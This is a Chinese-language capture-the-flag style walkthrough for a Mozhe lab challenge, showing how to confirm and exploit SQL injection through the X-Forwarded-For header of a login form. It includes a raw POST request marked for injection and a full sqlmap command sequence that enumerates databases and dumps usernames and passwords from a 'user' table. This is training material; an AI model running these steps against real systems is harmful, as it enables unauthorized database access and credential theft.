一、題目地址
https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe
二、使用工具
FireFox瀏覽器、SQLMAP
三、確認漏洞
題目說是X-Forwarded-For注入漏洞,先確認一下是不是
1. 隨便輸入賬號密碼后點擊登錄

2. 返回結果

彈窗有亂碼,沒關系,按F12打開調試窗口,在調試窗口中查看請求和響應
3. 彈窗信息
彈窗信息中告訴我,我的IP地址 27.17.120.22 被記錄了,可能是記錄到數據庫中了,也就是將該IP寫到了數據庫中;竟然跟數據庫有交互,那么可以猜
想,此處可能存在SQL注入漏洞;接下來繼續確認
4. 服務端獲取客戶端IP地址的方式
服務端獲取客戶端IP地址的方式,其中一種是通過讀取請求中X-Forwarded-For的字段值,確認服務端是不是使用這種方式獲取客戶端IP地址;編輯剛才的
請求,在請求頭中加入X-Forwarded-For:111.23.21.23(這個是我們偽造的IP地址,隨便填一個合法的IP地址即可),然后重新發送
可以看到,之前隨意填的X-Forwarded-For字段中的IP地址 111.23.21.23 已經被記錄了,這就確認了服務端是通過讀取X-Forwarded-For的字段值
來獲取客戶端的IP地址的;下面直接用SQLMAP確認X-Forwarded-For存在SQL注入漏洞
四、SQLMAP跑注入漏洞
1. 將第二次登錄請求的信息摘下來,新建成txt文件,這里我命名為x-forwarded-for.txt,並將x-forwarded-for的值改為*;文件內容如下所示:
POST /index.php HTTP/1.1 Host: 219.153.49.228:48584 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 25 Connection: keep-alive Referer: http://219.153.49.228:48584/index.php Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache X-Forwarded-For:* username=fff&password=ddd
2. 確認漏洞(命令:sqlmap.py -r x-forwarded-for.txt --batch(需要在x-forwarded-for.txt文件所在的目錄中跑))
3. 查詢數據庫(sqlmap.py -r x-forwarded-for.txt --batch --dbs)
4、查詢當前數據庫庫(sqlmap.py -r x-forwarded-for.txt --batch --current-db)
5. 查詢獲取數據庫中表(sqlmap.py -r x-forwarded-for.txt --batch --tables -D "webcalendar")
6. 查詢表的字段(以user為例:sqlmap.py -r x-forwarded-for.txt --batch --columns -T "user" -D "webcalendar")
7. 查詢表的內容(以user為例:sqlmap.py -r x-forwarded-for.txt --batch --dump -C "id,username,password" --columns
-T "user" -D "webcalendar")